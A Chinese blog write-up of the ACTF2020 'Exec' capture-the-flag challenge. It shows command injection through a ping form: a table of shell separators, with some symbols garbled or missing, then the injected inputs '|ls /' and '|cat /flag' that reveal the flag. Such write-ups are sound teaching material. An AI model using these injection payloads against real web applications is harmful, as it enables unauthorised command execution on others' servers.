

[ACTF2020 新生赛]Exec1

原创

Eur6k4 于 2021-12-26 21:25:33 发布 420 收藏

文章标签: [经验分享](#) [php](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_62875941/article/details/122160809

版权

打开链接, 先ping一下本地127.0.0.1

PING

请输入需要ping的地址

PING

PING 127.0.0.1 (127.0.0.1): 56 data bytes

CSDN @Chhhz

这里我们考虑到可能存在命令执行漏洞

下面介绍下常见的符道符

(按位或)	A B	直接执行B语句
(逻辑或)	A B	如果A为是错的那么就执行B语句, 如果A为真那么就只执行A语句
& (按位与)	A&B	AB语句都执行, 无论真假
&& (逻辑与)	A&&B	如果A语句错那么AB语句都不执行, 如果A为真则执行AB语句
;	A;B	AB语句都执行, 无论真假

我们试一下用按位或 "|"来查找一下有啥文件

PING

||s /

PING

```
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
```

CSDN @Chhhz

这里发现有flag文件

使用cat命令查看flag文件内容

```
|cat /flag
```

PING

PING

```
flag{8d90b28c-a2ac-4c64-bd8a-ccdb327ca9bc}
```

CSDN @Chhhz

获取到了**flag**

```
flag{8d90b28c-a2ac-4c64-bd8a-ccdb327ca9bc}
```